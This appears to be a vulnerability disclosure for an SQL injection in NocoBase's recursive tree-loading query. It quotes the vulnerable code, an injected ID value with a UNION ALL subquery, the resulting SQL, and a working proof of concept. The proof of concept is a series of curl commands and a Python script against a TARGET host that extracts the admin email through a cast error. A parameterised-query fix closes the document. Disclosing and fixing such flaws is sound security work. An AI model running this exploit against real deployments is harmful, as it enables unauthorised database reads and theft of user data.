NocoBase EUVD-2026-28261

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };